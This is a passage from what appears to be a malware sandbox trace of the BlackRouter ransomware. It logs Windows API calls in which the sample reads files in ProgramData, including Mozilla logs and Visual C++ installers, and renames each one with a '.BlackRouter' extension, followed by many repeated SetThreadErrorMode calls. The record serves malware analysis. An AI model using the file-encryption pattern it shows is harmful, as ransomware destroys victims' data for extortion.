nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0092.731] MoveFileW (lpExistingFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.BlackRouter" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log.blackrouter")) returned 1 [0093.144] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x6f428 [0093.145] ReadFile (in: hFile=0x15c, lpBuffer=0x14bad948, nNumberOfBytesToRead=0x6f428, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x14bad948*, lpNumberOfBytesRead=0x1ae5c8*=0x6f428, lpOverlapped=0x0) returned 1 [0093.189] CloseHandle (hObject=0x15c) returned 1 [0093.217] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xde13fe70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6f430)) returned 1 [0093.217] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.BlackRouter" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.blackrouter")) returned 1 [0093.249] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x710a8 [0093.250] ReadFile (in: hFile=0x15c, lpBuffer=0x14c8c210, nNumberOfBytesToRead=0x710a8, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x14c8c210*, lpNumberOfBytesRead=0x1ae5c8*=0x710a8, lpOverlapped=0x0) returned 1 [0093.277] CloseHandle (hObject=0x15c) returned 1 [0093.304] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xde1fe550, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x710b0)) returned 1 [0093.305] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.BlackRouter" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.blackrouter")) returned 1 [0093.466] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x6f398 [0093.467] ReadFile (in: hFile=0x15c, lpBuffer=0x14d6e3d8, nNumberOfBytesToRead=0x6f398, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x14d6e3d8*, lpNumberOfBytesRead=0x1ae5c8*=0x6f398, lpOverlapped=0x0) returned 1 [0093.484] CloseHandle (hObject=0x15c) returned 1 [0093.510] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xde3ed730, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6f3a0)) returned 1 [0093.510] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.BlackRouter" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.blackrouter")) returned 1 [0093.576] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xbee38 [0093.577] ReadFile (in: hFile=0x15c, lpBuffer=0x14e4cb80, nNumberOfBytesToRead=0xbee38, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x14e4cb80*, lpNumberOfBytesRead=0x1ae5c8*=0xbee38, lpOverlapped=0x0) returned 1 [0093.670] CloseHandle (hObject=0x15c) returned 1 [0093.713] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xde5dc910, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbee40)) returned 1 [0093.714] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.BlackRouter" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.blackrouter")) returned 1 [0093.722] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x71080 [0093.723] ReadFile (in: hFile=0x15c, lpBuffer=0x14fca868, nNumberOfBytesToRead=0x71080, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x14fca868*, lpNumberOfBytesRead=0x1ae5c8*=0x71080, lpOverlapped=0x0) returned 1 [0093.753] CloseHandle (hObject=0x15c) returned 1 [0093.778] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xde69aff0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x71090)) returned 1 [0093.779] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.BlackRouter" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.blackrouter")) returned 1 [0093.787] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xbee30 [0093.789] ReadFile (in: hFile=0x15c, lpBuffer=0x150ac9e8, nNumberOfBytesToRead=0xbee30, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x150ac9e8*, lpNumberOfBytesRead=0x1ae5c8*=0xbee30, lpOverlapped=0x0) returned 1 [0093.832] CloseHandle (hObject=0x15c) returned 1 [0093.895] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xde7a5990, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbee40)) returned 1 [0093.895] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.BlackRouter" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.blackrouter")) returned 1 [0094.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, 